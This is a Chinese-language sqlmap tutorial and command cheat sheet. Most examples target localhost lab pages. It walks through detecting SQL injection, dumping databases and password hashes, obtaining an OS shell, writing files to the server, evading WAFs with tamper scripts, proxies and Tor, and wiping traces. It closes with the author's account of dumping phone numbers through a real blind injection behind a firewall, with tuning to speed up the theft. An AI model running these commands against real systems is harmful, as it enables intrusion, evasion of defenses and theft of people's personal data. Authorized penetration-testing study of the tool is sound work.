文章目录
SQLMAP入门及简单用法
常用命令总结
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" #判断url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" #识别指纹信息
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --batch #对所有的交互式的选择都是默认最优先优化的选项(一把嗦就完事儿了)
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --batch -v2 #显示输出信息级别
输出信息按从简到繁共分为7个级别,使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:
0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。
sqlmap -r rizhi.txt #“rizhi.txt”为抓取的http的请求包
sqlmap -r rizhi.txt -p username #指定参数,当某一个活或多个参数存在SQL注入漏洞时,通过-p指定参数进行注入
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,通过cookie访问,判断该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --data="name=value" #抓取post提交的数据以“name=value”的形式填入进行注入探测
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色,该命令仅适用于当前数据库是Oracle时
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema --tables #爆出数据库information_schema中的所有的表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users --columns #爆出information_schema数据库中users表中的所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users -C username --dump #爆出数据库information_schema中的users表中的username列中的所有数据并下载
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users --dump-all #爆出数据库information_schema中的users表中的所有数据并下载
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema --dump-all #爆出数据库information_schema中的所有数据并下载
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
这里需要注意的是,当不进行表与字段的爆破时直接进行下载,在数据量很大的情况下会很慢
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --identify-waf 检测是否有WAF
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
关于探测URL是否存在WAF,并且如何绕过的方法会在下文的SQLMAP高级用法中进行详解
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。
level的等级(1-5,默认为1)
level 1:对GET和POST的数据进行测试
level 2:会对HTTP cookie进行测试
level 3:会对HTTP User-Agent/Referer头进行测试
level4-5:测试的更加全面,同时测试的速度会更慢
risk风险等级(1-4,默认1)升高风险等级会增加数据被篡改的风险。
risk 1:此等级在大多数情况下对测试目标无害
risk 2:基于事件的测试
risk 3:or语句的测试
risk 4:update的测试
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
这里需要注意的是在不知道对应的数据库的执行语句的时候尽量少使用
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
dbms是“Database Management System”的缩写。默认情况下SQLMAP会自动检测网站使用的数据库管理系统,如果SQLMAP自动检测失败或是不想让SQLMAP进行数据库指纹检测,可以使用参数“--dbms”手动指定数据库管理系统,如:“--dbms postgresql”。
对于Mysql和Microsoft SQL Server和要这样指定:
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>
对于MySQL来说,是类似这样的:5.0。对于Microsoft SQL Server来说,是类似这样的:2005。
如果在添加“--dbms”参数的同时还添加了“--fingerprint”,SQLMAP只会在指定的数据库管理系统内进行指纹识别。
只有在很确定时使用“--dbms”,否则还是让SQLMAP自动检测更好些。
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限
默认情况下SQLMAP会自动检测运行数据库管理系统的操作系统,目前完全支持的操作系统有:Linux、Windows
如果很确定可以使用参数“--os”指定运行数据库管理系统的操作系统。当然在只用很确定时才应该使用此参数,否则还是让SQLMAP自动检测更好些。
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-read "usr/desktop/test.txt" #读取目标服务器usr/desktop/下的test.txt文件
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "usr/desktop/hack.txt" #将本地的test.txt文件上传到目标服务器的usr/desktop/下,并且名字为hack.txt
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080" #指定代理
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定SQLMAP使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" -v 3 #输出详细攻击载荷
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --threads 5#指定线程数
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --fresh-queries #清除缓存
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --flush-session #刷新session
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --random-agent #任意的http头
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --tamper base64encode #对提交的数据进行base64编码
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --referer http://www.baidu.com #伪造referer字段
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
sqlmap -u http://127.0.0.1/Less-2/ --batch --crawl=2 --delay 2 -v 2
判断URL是否存在注入点
针对不需要登陆的URL进行SQL注入探测
直接指定URL
sqlmap -u http://127.0.0.1/Less-1/?id=1 --batch --level 3 -v 3
--batch:针对需要交互选择的选项都是默认最优先优化的选项
--level 3:探测等级为3的测试
-v 3:输出信息等级3,同时显示注入使用的攻击荷载
执行成功完毕之后会得到相关服务器指纹信息与信息输出文件路径
附:当针对同一探测URL执行二次或者多次的探测时,会自动读取信息文件路径下的文件,删除后才会重新进行探测。
对于需要登录的网站
我们可以用账号密码登录,我们需要指定其cookie,然后用抓包工具抓取其cookie填入。
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #探测该url是否存在漏洞
通过抓取 http 数据包进行探测
我们也可以通过抓取 http 数据包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。
我们抓取了一个post提交数据的数据包保存为post.txt,如下,uname参数和passwd参数存在SQL注入漏洞。
sqlmap -r post.txt #探测post.txt文件中的http数据包是否存在sql注入漏洞
查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
查看数据库所有用户名的密码
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
第一处询问我们是否保存密码的hash值为文件,我们不保存。第二处问我们是否使用SQLMAP自带的字典进行爆破,我们选择y,可以看出把密码爆破出来了,root用户的密码也为root。如果这里爆破不出来,我们可以拿hash值去字典更强大的地方爆破
查看数据库当前用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
判断当前用户是否有管理权限
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
列出数据库管理员角色
该命令仅适用于当前数据库是Oracle时
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色,该命令仅适用于当前数据库是Oracle时
爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
爆出当前的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
爆出指定数据库中的所有的表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
爆出指定数据库指定表中的所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
爆出指定数据库指定表指定列下的数据
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username #爆出数据库security中的users表中的username列中的所有数据
SQLMAP的高级用法
SQLMAP在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用–tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。SQLMAP目前官方提供53个绕过脚本。
探测URL是否存在WAF,并且绕过
--identify-waf 检测是否有WAF
一般使用参数进行绕过
--skip-waf 跳过WAF/IPS / IDS启发式检测保护
--random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
--flush-session 清空会话,重构注入
--hex 或者 --no-cast 进行字符码转换
--mobile 有时服务端只接收移动端的访问,可以设定一个手机的User-Agent来模仿手机登陆
--tor 匿名注入
指定脚本绕过
SQLMAP绕WAF的脚本存放在 /usr/share/sqlmap/tamper/ 路径下
有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)
sqlmap --tamper=space2comment.py #用/**/代替空格
sqlmap --tamper=“space2comment.py,space2plus.py” 指定多个脚本进行过滤
tamper目录下各个脚本的含义:
一个一个来试太累太费劲,而且对有些小白来讲很难记住每个tamper脚本具体是做什么用的?干脆直接写了一个sh命令,可以在kali下直接依次使用每个tamper脚本,从而找到合适的。
该shell语句是:
for t in `ls /usr/share/sqlmap/tamper/*.py`; do echo -e "e[41;1m tamper: $te[0m"; sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --random-agent --smart --batch --tamper $t --threads 10;done;
shell语句简单说明:
--random-agent参数随机;random-agent 随机agent头 ;
--smart 智能快速判断的方式;
--batch 默认选择接收输入;
echo -e "e[41;1m tamper: $te[0m"; 是为了红底白字显示当前使用的tamper脚本。
SQLMAP性能优化
Sqlmap 设置持久 HTTP 连接
sqlmap 中可以设置连接为持久连接,也就是长连接,连接一次就不需要多次发送连接请求。HTTP 报文中设置connection:keep-alive 。
注意: --keep-alive 不能与 --proxy 一起使用,会发送冲突。
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --keep-alive -v 5
Sqlmap 设置不接收 HTTP Body
sqlmap 中设置空连接,表示不接受 HTTP 当中的 Body,使用参数 --null-connection。 可以直接获得 HTTP 响应的大小而不用获得 HTTP 响应体,可以节省网络宽带的消耗,常用在盲注过程中。
SQLMAP 一键优化
添加 -o 参数相当于同时添加下列三个优化参数
--keep-alive
--null-connection
--threads=3
sqlmap.py "http://127.0.0.1/sqli/Less-1/?id=1" -o -v 3
**sqlmap中设置忽略 401 **
--ignore-401
如果测试偶尔返回 HTTP 错误 401 的站点,而你想忽略它并在不提供适当凭证的情况下继续测试,可以 使用 --ignore-401 参数用来忽略未验证错误。
杂项
--crawl
SQLMAP可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay 2”配合使用。如:
--delay 2 :等待2秒
$ python sqlmap -u "http://127.0.0.1/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
参数: --forms
除了用“-r”和“–data”来测试表单数据是否存在注入点外,还可以使用参数“–forms”来测试表单数据是否存在注入点。
同时使用参数“–forms”和“-u”,SQLMAP会解析目标URL(“-u”指定的那个URL)返回页面中的表单,测试表单是否有注入点,而不对目标URL进行注入测试。
参数: --cleanup
强烈推荐在测试结束后使用此参数清除SQLMAP创建的临时表和自定义函数,SQLMAP会尽可能地清除数据库管理系统和文件系统上的入侵痕迹。
参数: --purge-output
当用户想要安全地删除输出目录中的所有内容时使用此参数。所谓安全删除,不仅仅是删除,而是在删除前先用随机数据覆盖原有数据,甚至对文件名和目录名也进行重命名以覆盖旧名称,所有覆盖工作完成后才执行删除。最后,输出目录中会一无所有。如:
sqlmap --purge-output -v 3
参数: --alert
该参数用于在找到新的注入点时发出警报,后跟一个用于发出警报的命令,如:
sqlmap -r data.txt --alert "notify-send '找到漏洞了'"
上例中用于发出警报的命令是Ubuntu中的notify-send命令。
参数: --beep
使用此参数可以在成功检测到注入点时发出“嘟”声。使用“-m”从日志文件中检测大量网站时该参数会格外有用。
参数: --dependencies
SQLMAP的有些功能依赖第三方库,在用到时发现没有这些库会报错退出。使用此参数可以检查依赖的第三方库是否安装,如:
sqlmap --dependencies
部分输出如下:
[*] starting at 19:16:05
[19:16:05] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in order to directly connect to the DBMS 'Firebird'. Download from http://kinterbasdb.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Sybase'. Download from https://github.com/pymssql/pymssql
[19:16:05] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in order to directly connect to the DBMS 'Oracle'. Download from http://cx-oracle.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python-psycopg2' third-party library in order to directly connect to the DBMS 'PostgreSQL'. Download from http://initd.org/psycopg/
[19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'IBM DB2'. Download from https://github.com/ibmdb/python-ibmdb
[19:16:05] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-party library in order to directly connect to the DBMS 'HSQLDB'. Download from https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'Informix'. Download from https://github.com/ibmdb/python-ibmdb
[19:16:05] [WARNING] sqlmap requires 'python-pyodbc' third-party library in order to directly connect to the DBMS 'Microsoft Access'. Download from https://github.com/mkleehammer/pyodbc
[19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Microsoft SQL Server'. Download from https://github.com/pymssql/pymssql
[19:16:05] [WARNING] sqlmap requires 'python-impacket' third-party library for out-of-band takeover feature. Download from http://code.google.com/p/impacket/
[19:16:05] [WARNING] sqlmap requires 'python-ntlm' third-party library if you plan to attack a web application behind NTLM authentication. Download from http://code.google.com/p/python-ntlm/
[19:16:05] [WARNING] sqlmap requires 'websocket-client' third-party library if you plan to attack a web application using WebSocket. Download from https://pypi.python.org/pypi/websocket-client/
[*] shutting down at 19:16:05
可以看我缺少的主要是用于连接数据库的第三方库。
参数: --smart 启发式判断注入
当有大量URL要进行测试(如:“-m”),目的是尽快找出其中存在的某些注入点而有所遗漏也没有关系时可以使用“–smart”进行正向启发式扫描。此时只有让数据库管理系统报错的参数才会做进一步测试,其余URL均被跳过。
参数: --output-dir
SQLMAP默认将会话文件和结果文件保存到某个子目录output中,可以使用此参数指定输出目录,如:“–output-dir=/tmp”。
参数: --csv-del
当数据被输出到CSV文件(–dump-format=CSV)时,默认以“,”分隔,可以使用此参数指定分隔符。如:“–csv-del=”;””。
参数: --dump-format
SQLMAP对列举的数据有三种不同的输出格式:CSV、HTML和SQLITE。默认为CSV格式,每个数据表都被保存到一个文本文件中,一行是一条记录,以逗号分隔(或是用“–csv-del”指定分隔符)。选择HTML格式,所有数据被保存在一个HTML文件中,数据存放在一个个table中。选择SQLITE格式,所有数据被保存在一个SQLITE文件中,SQLITE中表名和结构会和原表相同。
参数: --eta
可以计算注入数据的剩余时间,例如Oracle的布尔型盲注:
$ python sqlmap.py -u "http://127.0.0.1/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19
然后:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
参数: --identify-waf
SQLMAP可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。
例如对一个受到ModSecurity WAF保护的MySQL例子:
$sqlmap -u "http://127.0.0.1/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
[...]
增加线程数
最近遇到个盲注点,有个360防火墙,绕了半天只能用 rlike 脱裤,奈何速度巨慢,五分钟一个数字,没法忍.
经过各种折腾,最终打到1秒两三个手机号的效果,记录下折腾的问题,也希望能帮助到同样遇到问题的童鞋.
第一步(提升SQLMAP 线程数):
\lib\core\settings.py
找到 sqlmap 的这个文件,搜索 MAX_NUMBER_OF_THREADS 将 10 改成 9999
MAX_NUMBER_OF_THREADS = 9999
第二步(命令提升线程数):
--threads 200 (改多少自己决定,建议别太高)
如果还是觉得速度巨慢,那么在排查自己电脑网络,首先需要知道自己网速到底快不快,访问目标刷新速度快不快,如果快的话,那就是网络问题,我之前就是被这个地方坑惨了,纸飞机 Shadowsocks 新版本的会默认自动修改 win10 的系统代理选项:
因为勾选了这个,导致我全程走了代理,速度超级超级慢,巨坑爹,去掉勾选,瞬间速度提升一大截.
最后,如果三步完成还是不行,那么就是目标的问题,或者注入点的问题了,建议找个py 的盲注脚本跑把.